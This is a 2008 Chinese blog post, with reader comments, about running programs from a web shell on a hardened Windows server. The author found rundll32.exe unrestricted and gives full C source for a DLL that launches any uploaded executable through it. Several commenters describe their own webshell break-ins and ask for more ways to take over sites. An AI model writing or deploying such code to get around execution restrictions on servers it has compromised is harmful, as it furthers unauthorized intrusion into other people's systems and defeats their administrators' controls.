心路
死生契阔,与子成说。执子之手,与子偕老。

  • 首页
  • 关于
  • MyIcy
  • 琐记(413)
  • 技术(221)
  • 八卦(104)
  • 读书(20)
  • RSS
  • 据说胡适有36个博士学位...
  • 我给你力吧...
  • 当前Blog无任何评论...
  • 最新论证:先有的嫖客后有的鸡...
  • 好的呀,非常感谢! 我这个当...
  • 云老大,将你的程序修改了下,...
  • cnbeta上有中文的...
  • 当前Blog无任何评论...
  • 舒舒,不要把我给你的邮件随便...
  • 本人有项目想和你合作,有意向...
  • hehe
  • 大哥,你好,Ttyutils的rpm或...
  • 很好
  • 那位兄台纯属路过的。...
  • 我只关心上一个博文的那位兄台...
  •  
     
  • 黑小子's Blog
  • Nick's blog
  • sbilly的乌托邦
  • 80 sec
  • 段段的blog
  • 肉肉的洗手间
  • JY美女
  • 小叶子的空间
  • 螺螺的blog
  • 忽尔今秋
  • Icy's Blog
  • 虚拟面包
  • 涛涛的blog
  • Tomy's blog
  • 王俊的blog
  • 狐狸的叶子
  • demonalex's blog
  • Super*Hei's Blog
  •  
    Powered by: SaBlog
    艰难的在webshell中执行程序
    Submitted by 云舒 on 2008, November 13, 11:56 PM. 技术

          摘要:一个web shell,系统权限设置得很好,常用的exe都无权执行。可写目录传上去的exe文件,也没有执行权限。最终发现设置权限的时候漏掉了rundll32.exe,如是就写了这个个代码。

          测试开始的时候,PHP似乎没权执行命令。本来打算用php本身的一些溢出问题,溢出一个低权限的shell来的。后来意外发现使用proc_open函数可以执行一些内部命令,只是外部命令和目录都做了比较严格的权限设置而已。于是就测试可能可以利用的外部命令,最终测试到了rundll32.exe程序,终于没有返回权限不足。写一个dll,给rundll32调用,就可以间接的执行自己上传的任意exe文件了。也许是windows权限的一点小问题?毕竟使用rundll32间接执行的exe,身份还是php shell的guest权限,虽然调用者变了——真正原因有待进一步研究。    

    1. /*************************************************************************************************
    2. * 遇到一个服务器权限设置很畸形,系统exe基本都无法执行,自己上传的exe到可写目录,也不能执行。
    3. * 遗憾的是,他们漏掉了rundll32.exe这个文件的权限,如是……
    4. * code by wustyunshu###hotmail.com, 2008,11,13,23:20
    5. *************************************************************************************************/
    6.  
    7. #include <stdio.h>
    8. #include <stdlib.h>
    9. #include <windows.h>
    10.  
    11. // dll入口
    12. BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )
    13. {
    14. return true;
    15. }
    16.  
    17. void RunExe( HWND hwnd, HINSTANCE hinst, LPSTR szCmdLine, int nCmdShow)
    18. {
    19. if( szCmdLine == NULL )
    20. {
    21. return;
    22. }
    23.  
    24. DWORD dwNum = MultiByteToWideChar(CP_ACP, 0, szCmdLine, -1, NULL, 0);
    25. wchar_t *wszCmdLine = new wchar_t[dwNum];
    26. if(!wszCmdLine)
    27. {
    28. return;
    29. }
    30. MultiByteToWideChar(CP_ACP, 0, szCmdLine, -1, wszCmdLine, dwNum);
    31.  
    32. int argc;
    33. LPWSTR *argv = CommandLineToArgvW( wszCmdLine, &argc );
    34.  
    35. wchar_t Cmd[256] = { 0 };
    36. wchar_t Args[1024] = { 0 };
    37.  
    38. //strncpy( Cmd, argv[0], sizeof(Cmd)-1 );
    39. wcsncpy( Cmd, argv[0], sizeof(Cmd)-1 );
    40. if( argc > 1 )
    41. {
    42. for( int index = 1; index < argc; index ++ )
    43. {
    44. wcscat( wcscat( Args, L" " ), argv[index] );
    45. }
    46. }
    47.  
    48. STARTUPINFO si;
    49. memset( (void *)&si, 0, sizeof(STARTUPINFOA) );
    50. GetStartupInfoW( &si );
    51.  
    52. //新进程输入输出重定向
    53. si.cb = sizeof( si );
    54. si.dwFlags = STARTF_USESHOWWINDOW;
    55. //si.wShowWindow = SW_HIDE;
    56.  
    57. PROCESS_INFORMATION processInfo;
    58. memset( (void *)&processInfo, 0, sizeof(PROCESS_INFORMATION) );
    59.  
    60. //建立进程
    61. CreateProcessW( Cmd, Args, NULL, NULL, 1, 0, NULL, NULL, &si, &processInfo );
    62.  
    63. Sleep( 60 * 1000 );
    64. TerminateProcess( processInfo.hProcess, 0 );
    65. }
    66.  

     
    评论
    很好很强大
    Post by xioami on 2008, November 14, 8:02 AM
    云爷 也好这口啊~
    有机会多请教  最近遇到的麻烦主机太多了
    望不惜赐教
    Post by nuke on 2008, November 14, 8:51 AM
    请教啥,我也没搞定,只是能执行一些exe了而已……
    不搞了,呵呵,懒得费脑细胞啊。
    Post by 云舒 on 2008, November 14, 9:17 AM
    云哥,我想用C# 修复被Hook的SSDT ...给我推荐两本书嘛。
    Post by Wayin on 2008, November 14, 9:45 AM
    C#写不了驱动,想恢复就去看C,或者汇编。
    Post by 云舒 on 2008, November 14, 10:23 AM
    这段代码没有隐藏窗口,也没有重定向输出,是本地测试用的。
    Post by 云舒 on 2008, November 14, 10:52 AM
    现在的管理员的水平提高了我们也得提高~
    Post by winsyk on 2008, November 14, 12:36 PM
    好,又给我学了,
    Post by 娃娃 on 2008, November 14, 1:10 PM
    rundll32.exe 99%的人不会做权限设置
    Post by 111 on 2008, November 14, 1:26 PM
    谢谢舒哥的回复。
    Post by Wayin on 2008, November 15, 8:17 AM
    狂顶云舒MM!
    Post by kxlzx on 2008, November 15, 11:07 AM
    我好多次碰见每次拿下一个WEBSHELL的时候发现CMD执行不了!自己上传的也没有执行的权限!WScript.Shell有在!但就是没权限!又没装其他可利用的第三方软件!即便好不容易找到了可是也跳转不了!更别说像碰到你这样执行不了EXE的情况!可以利用rundll32.exe的前提也要能执行命令!我也想多多拿下这个服务器的站点!看下是否可以利用SQL!还有其他毕竟实用的技巧
    Post by 冷漠 on 2008, November 20, 9:07 PM
    为什么编译不通过呢 怪事情!
    Post by aa on 2008, December 10, 10:46 PM
    VC6.0下面
    Post by aa on 2008, December 10, 10:46 PM
    错误贴出来看看,我没有VC6,也说不准会不会是blog贴代码的问题。
    Post by 云舒 on 2008, December 10, 11:45 PM
    弱弱问下 这个代码用什么来编译!
    Post by zvz on 2008, December 15, 10:57 PM
    有人系统上装了SSM,使用白名单。但是rundll32频繁的被调用,有人偷懒就会允许执行。
    现在最新版本白名单可以设置参数,这样的话完全可以让rundll也是只执行管理员允许的dll.
    Post by spark on 2009, February 6, 5:04 PM
    rundll32 使用rundll32间接执行的exe1.dll //为啥没反应呢,请问这个DLL文件应该怎么执行
    Post by pt007 on 2009, February 19, 5:30 PM
    添加评论
    您的名字:
    您的E-mail:
    评论内容:
    验证码:
    Processed in 0.369608 second(s)